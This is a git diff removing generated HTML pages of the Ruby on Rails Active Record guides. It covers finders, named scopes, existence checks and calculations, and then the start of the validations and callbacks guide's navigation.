-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find_or_initialize_by_name<span style="color: #990000">(</span><span style="color: #FF0000">'Ryan'</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>will either assign an existing client object with the name <em>Ryan</em> to the client local variable, or initialize a new object similar to calling <tt>Client.new(:name =&gt; <em>Ryan</em>)</tt>. From here, you can modify other fields in client by calling the attribute setters on it: <tt>client.locked = true</tt> and when you want to write it to the database just call <tt>save</tt> on it.</p></div>
-</div>
-<h2 id="_finding_by_sql">13. Finding By SQL</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>If you&#8217;d like to use your own SQL to find records in a table you can use <tt>find_by_sql</tt>. The <tt>find_by_sql</tt> method will return an array of objects even the underlying query returns just a single record. For example you could run this query:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>find_by_sql<span style="color: #990000">(</span><span style="color: #FF0000">"SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p><tt>find_by_sql</tt> provides you with a simple way of making custom calls to the database and retrieving instantiated objects.</p></div>
-</div>
-<h2 id="_tt_select_all_tt">14. <tt>select_all</tt></h2>
-<div class="sectionbody">
-<div class="paragraph"><p><tt>find_by_sql</tt> has a close relative called <tt>connection#select_all</tt>. <tt>select_all</tt> will retrieve objects from the database using custom SQL just like <tt>find_by_sql</tt> but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>connection<span style="color: #990000">.</span>select_all<span style="color: #990000">(</span><span style="color: #FF0000">"SELECT * FROM `clients` WHERE `id` = '1'"</span><span style="color: #990000">)</span></tt></pre></div></div>
-</div>
-<h2 id="_working_with_associations">15. Working with Associations</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>When you define a has_many association on a model you get the <tt>find</tt> method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like <tt>Client.find(params[:id]).orders.find_by_sent_and_received(true, false)</tt>. Having this find method available on associations is extremely helpful when using nested resources.</p></div>
-</div>
-<h2 id="_named_scopes">16. Named Scopes</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Named scopes are another way to add custom finding behavior to the models in the application. Named scopes provide an object-oriented way to narrow the results of a query.</p></div>
-<h3 id="_simple_named_scopes">16.1. Simple Named Scopes</h3>
-<div class="paragraph"><p>Suppose we want to find all clients who are male. You could use this code:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- named_scope <span style="color: #990000">:</span>males<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>gender <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"male"</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Then you could call <tt>Client.males.all</tt> to get all the clients who are male. Please note that if you do not specify the <tt>all</tt> on the end you will get a <tt>Scope</tt> object back, not a set of records which you do get back if you put the <tt>all</tt> on the end.</p></div>
-<div class="paragraph"><p>If you wanted to find all the clients who are active, you could use this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- named_scope <span style="color: #990000">:</span>active<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>active <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You can call this new named_scope with <tt>Client.active.all</tt> and this will do the same query as if we just used <tt>Client.all(:conditions =&gt; ["active = ?", true])</tt>. If you want to find the first client within this named scope you could do <tt>Client.active.first</tt>.</p></div>
-<h3 id="_combining_named_scopes">16.2. Combining Named Scopes</h3>
-<div class="paragraph"><p>If you wanted to find all the clients who are active and male you can stack the named scopes like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>males<span style="color: #990000">.</span>active<span style="color: #990000">.</span>all</tt></pre></div></div>
-<div class="paragraph"><p>If you would then like to do a <tt>all</tt> on that scope, you can. Just like an association, named scopes allow you to call <tt>all</tt> on them:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>males<span style="color: #990000">.</span>active<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"age &gt; ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>age<span style="color: #990000">]])</span></tt></pre></div></div>
-<h3 id="_runtime_evaluation_of_named_scope_conditions">16.3. Runtime Evaluation of Named Scope Conditions</h3>
-<div class="paragraph"><p>Consider the following code:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>created_at <span style="color: #990000">&gt;</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This looks like a standard named scope that defines a method called <tt>recent</tt> which gathers all records created any time between now and 2 weeks ago. That&#8217;s correct for the first time the model is loaded but for any time after that, <tt>2.weeks.ago</tt> is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>And now every time the <tt>recent</tt> named scope is called, the code in the lambda block will be executed, so you&#8217;ll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.</p></div>
-<h3 id="_named_scopes_with_multiple_models">16.4. Named Scopes with Multiple Models</h3>
-<div class="paragraph"><p>In a named scope you can use <tt>:include</tt> and <tt>:joins</tt> options just like in <tt>find</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- named_scope <span style="color: #990000">:</span>active_within_2_weeks<span style="color: #990000">,</span> <span style="color: #990000">:</span>joins <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>order<span style="color: #990000">,</span>
- lambda <span style="color: #FF0000">{</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"orders.created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This method, called as <tt>Client.active_within_2_weeks.all</tt>, will return all clients who have placed orders in the past 2 weeks.</p></div>
-<h3 id="_arguments_to_named_scopes">16.5. Arguments to Named Scopes</h3>
-<div class="paragraph"><p>If you want to pass to a named scope a required arugment, just specify it as a block argument like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #990000">|</span>time<span style="color: #990000">|</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> time<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This will work if you call <tt>Client.recent(2.weeks.ago).all</tt> but not if you call <tt>Client.recent</tt>. If you want to add an optional argument for this, you have to use prefix the arugment with an *.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- named_scope <span style="color: #990000">:</span>recent<span style="color: #990000">,</span> lambda <span style="color: #FF0000">{</span> <span style="color: #990000">|*</span>args<span style="color: #990000">|</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> args<span style="color: #990000">.</span>first <span style="color: #990000">||</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span> <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This will work with <tt>Client.recent(2.weeks.ago).all</tt> and <tt>Client.recent.all</tt>, with the latter always returning records with a created_at date between right now and 2 weeks ago.</p></div>
-<div class="paragraph"><p>Remember that named scopes are stackable, so you will be able to do <tt>Client.recent(2.weeks.ago).unlocked.all</tt> to find all clients created between right now and 2 weeks ago and have their locked field set to false.</p></div>
-<h3 id="_anonymous_scopes">16.6. Anonymous Scopes</h3>
-<div class="paragraph"><p>All Active Record models come with a named scope named <tt>scoped</tt>, which allows you to create anonymous scopes. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>recent
- scoped <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">]</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Anonymous scopes are most useful to create scopes "on the fly":</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>scoped<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>gender <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"male"</span> <span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>Just like named scopes, anonymous scopes can be stacked, either with other anonymous scopes or with regular named scopes.</p></div>
-</div>
-<h2 id="_existence_of_objects">17. Existence of Objects</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>If you simply want to check for the existence of the object there&#8217;s a method called <tt>exists?</tt>. This method will query the database using the same query as <tt>find</tt>, but instead of returning an object or collection of objects it will return either <tt>true</tt> or false+.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>exists?</tt> method also takes multiple ids, but the catch is that it will return true if any one of those records exists.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">)</span>
-<span style="font-style: italic"><span style="color: #9A1900"># or</span></span>
-Client<span style="color: #990000">.</span>exists?<span style="color: #990000">([</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">])</span></tt></pre></div></div>
-<div class="paragraph"><p>Further more, <tt>exists</tt> takes a <tt>conditions</tt> option much like find:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>exists?<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"first_name = 'Ryan'"</span><span style="color: #990000">)</span></tt></pre></div></div>
-</div>
-<h2 id="_calculations">18. Calculations</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>This section uses count as an example method in this preamble, but the options described apply to all sub-sections.</p></div>
-<div class="paragraph"><p><tt>count</tt> takes conditions much in the same way <tt>exists?</tt> does:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>count<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"first_name = 'Ryan'"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>Which will execute:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> count<span style="color: #990000">(*)</span> <span style="font-weight: bold"><span style="color: #0000FF">AS</span></span> count_all <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>first_name <span style="color: #990000">=</span> <span style="color: #FF0000">'Ryan'</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>You can also use <tt>:include</tt> or <tt>:joins</tt> for this to do something a little more complex:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>count<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"clients.first_name = 'Ryan' AND orders.status = 'received'"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>Which will execute:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> count<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">DISTINCT</span></span> clients<span style="color: #990000">.</span>id<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">AS</span></span> count_all <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients
- <span style="font-weight: bold"><span style="color: #0000FF">LEFT</span></span> <span style="font-weight: bold"><span style="color: #0000FF">OUTER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">JOIN</span></span> orders <span style="font-weight: bold"><span style="color: #0000FF">ON</span></span> orders<span style="color: #990000">.</span>client_id <span style="color: #990000">=</span> client<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span>
- <span style="color: #990000">(</span>clients<span style="color: #990000">.</span>first_name <span style="color: #990000">=</span> <span style="color: #FF0000">'Ryan'</span> <span style="font-weight: bold"><span style="color: #0000FF">AND</span></span> orders<span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">status</span></span> <span style="color: #990000">=</span> <span style="color: #FF0000">'received'</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>This code specifies <tt>clients.first_name</tt> just in case one of the join tables has a field also called <tt>first_name</tt> and it uses <tt>orders.status</tt> because that&#8217;s the name of our join table.</p></div>
-<h3 id="_count">18.1. Count</h3>
-<div class="paragraph"><p>If you want to see how many records are in your model&#8217;s table you could call <tt>Client.count</tt> and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use <tt>Client.count(:age)</tt>.</p></div>
-<div class="paragraph"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a>.</p></div>
-<h3 id="_average">18.2. Average</h3>
-<div class="paragraph"><p>If you want to see the average of a certain number in one of your tables you can call the <tt>average</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>average<span style="color: #990000">(</span><span style="color: #FF0000">"orders_count"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.</p></div>
-<div class="paragraph"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a>.</p></div>
-<h3 id="_minimum">18.3. Minimum</h3>
-<div class="paragraph"><p>If you want to find the minimum value of a field in your table you can call the <tt>minimum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>minimum<span style="color: #990000">(</span><span style="color: #FF0000">"age"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
-<h3 id="_maximum">18.4. Maximum</h3>
-<div class="paragraph"><p>If you want to find the maximum value of a field in your table you can call the <tt>maximum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>maximum<span style="color: #990000">(</span><span style="color: #FF0000">"age"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
-<h3 id="_sum">18.5. Sum</h3>
-<div class="paragraph"><p>If you want to find the sum of a field for all records in your table you can call the <tt>sum</tt> method on the class that relates to the table. This method call will look something like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>sum<span style="color: #990000">(</span><span style="color: #FF0000">"orders_count"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>For options, please see the parent section, <a href="#_calculations">Calculations</a></p></div>
-</div>
-<h2 id="_changelog">19. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16">Lighthouse ticket</a></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-December 29 2008: Initial version by Ryan Bigg
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/activerecord_validations_callbacks.html b/railties/doc/guides/html/activerecord_validations_callbacks.html
deleted file mode 100644
index be556283c1..0000000000
--- a/railties/doc/guides/html/activerecord_validations_callbacks.html
+++ /dev/null
@@ -1,1231 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Active Record Validations and Callbacks</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_overview_of_activerecord_validation">Overview of ActiveRecord Validation</a>
- <ul>
-
- <li><a href="#_why_use_activerecord_validations">Why Use ActiveRecord Validations?</a></li>
-
- <li><a href="#_when_does_validation_happen">When Does Validation Happen?</a></li>
-
- <li><a href="#_the_meaning_of_tt_valid_tt">The Meaning of <tt>valid</tt></a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_the_declarative_validation_helpers">The Declarative Validation Helpers</a>
- <ul>
-
- <li><a href="#_the_tt_validates_acceptance_of_tt_helper">The <tt>validates_acceptance_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_associated_tt_helper">The <tt>validates_associated</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_confirmation_of_tt_helper">The <tt>validates_confirmation_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_exclusion_of_tt_helper">The <tt>validates_exclusion_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_format_of_tt_helper">The <tt>validates_format_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_inclusion_of_tt_helper">The <tt>validates_inclusion_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_length_of_tt_helper">The <tt>validates_length_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_numericality_of_tt_helper">The <tt>validates_numericality_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_presence_of_tt_helper">The <tt>validates_presence_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_uniqueness_of_tt_helper">The <tt>validates_uniqueness_of</tt> helper</a></li>
-
- <li><a href="#_the_tt_validates_each_tt_helper">The <tt>validates_each</tt> helper</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_common_validation_options">Common Validation Options</a>
- <ul>
-
- <li><a href="#_the_tt_allow_nil_tt_option">The <tt>:allow_nil</tt> option</a></li>
-
- <li><a href="#_the_tt_allow_blank_tt_option">The <tt>:allow_blank</tt> option</a></li>
-
- <li><a href="#_the_tt_message_tt_option">The <tt>:message</tt> option</a></li>
-
- <li><a href="#_the_tt_on_tt_option">The <tt>:on</tt> option</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_conditional_validation">Conditional validation</a>
- <ul>
-
- <li><a href="#_using_a_symbol_with_the_tt_if_tt_and_tt_unless_tt_options">Using a symbol with the <tt>:if</tt> and <tt>:unless</tt> options</a></li>
-
- <li><a href="#_using_a_string_with_the_tt_if_tt_and_tt_unless_tt_options">Using a string with the <tt>:if</tt> and <tt>:unless</tt> options</a></li>
-
- <li><a href="#_using_a_proc_object_with_the_tt_if_tt_and_tt_unless_tt_options">Using a Proc object with the <tt>:if</tt> and :<tt>unless</tt> options</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_writing_your_own_validation_methods">Writing your own validation methods</a>
- </li>
- <li>
- <a href="#_manipulating_the_tt_errors_tt_collection">Manipulating the <tt>errors</tt> collection</a>
- </li>
- <li>
- <a href="#_using_the_tt_errors_tt_collection_in_your_view_templates">Using the <tt>errors</tt> collection in your view templates</a>
- <ul>
-
- <li><a href="#_changing_the_way_form_fields_with_errors_are_displayed">Changing the way form fields with errors are displayed</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_callbacks">Callbacks</a>
- <ul>
-
- <li><a href="#_callbacks_registration">Callbacks registration</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_conditional_callbacks">Conditional callbacks</a>
- <ul>
-
- <li><a href="#_using_a_symbol_with_the_tt_if_tt_and_tt_unless_tt_options_2">Using a symbol with the <tt>:if</tt> and <tt>:unless</tt> options</a></li>
-
- <li><a href="#_using_a_string_with_the_tt_if_tt_and_tt_unless_tt_options_2">Using a string with the <tt>:if</tt> and <tt>:unless</tt> options</a></li>
-
- <li><a href="#_using_a_proc_object_with_the_tt_if_tt_and_tt_unless_tt_options_2">Using a Proc object with the <tt>:if</tt> and :<tt>unless</tt> options</a></li>
-
- <li><a href="#_multiple_conditions_for_callbacks">Multiple Conditions for Callbacks</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_available_callbacks">Available callbacks</a>
- <ul>
-
- <li><a href="#_callbacks_called_both_when_creating_or_updating_a_record">Callbacks called both when creating or updating a record.</a></li>
-
- <li><a href="#_callbacks_called_only_when_creating_a_new_record">Callbacks called only when creating a new record.</a></li>
-
- <li><a href="#_callbacks_called_only_when_updating_an_existing_record">Callbacks called only when updating an existing record.</a></li>
-
- <li><a href="#_callbacks_called_when_removing_a_record_from_the_database">Callbacks called when removing a record from the database.</a></li>
-
- <li><a href="#_the_tt_after_initialize_tt_and_tt_after_find_tt_callbacks">The <tt>after_initialize</tt> and <tt>after_find</tt> callbacks</a></li>
-
- </ul>
- </li>
- <li>
